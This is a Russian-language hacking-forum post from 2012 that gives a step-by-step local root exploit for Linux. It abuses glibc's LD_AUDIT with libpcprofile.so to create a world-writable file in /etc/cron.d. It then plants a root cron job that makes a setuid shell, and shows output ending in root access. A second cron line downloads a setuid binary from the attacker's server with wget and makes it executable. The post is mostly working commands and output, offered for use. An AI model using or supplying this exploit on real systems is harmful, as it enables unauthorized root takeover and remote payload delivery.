Показать сообщение отдельно

  #210  
Старый 11.01.2012, 16:52
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
Провел на форуме:
262707

Репутация: 935


По умолчанию

Что вы там компилите? Я не понимаю. Пошаговое руководство:

Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")
  • umask 0
Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc:
  • dpkg -S /lib/libpcprofile.so

    libc6: /lib/libpcprofile.so
  • ls -l /lib/libpcprofile.so

    -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so
Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории:
  • LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

    ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:
  • ls -l /etc/cron.d/exploit

    -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit
Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например:
  • printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
Через пару минут наблюдаем:
  • ls -l /tmp/exploit

    ls: cannot access /tmp/exploit: No such file or directory

    ...
  • ls -l /tmp/exploit

    -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit
  • /tmp/exploit
  • whoami

    root
Так же можно, просто скомпилировать суидник на своей системе, и заказчать на атакуемый сервер, дадим ему имя например suid и поместим в директорию /tmp, и уже от рута, дадим ему необходимые для дальнейшей работы права от рута

Код:
printf "* * * * * root wget http://твой_сервер/suid -O /tmp/suid;chown root:root /tmp/suid;chmod 4755 /tmp/suid\n" > /etc/cron.d/exploit
И ничего компилировать не нужно! Я не знаю какими скриптами вы пользуетесь, но лучше всего сначала воспользоваться головой.
 
Ответить с цитированием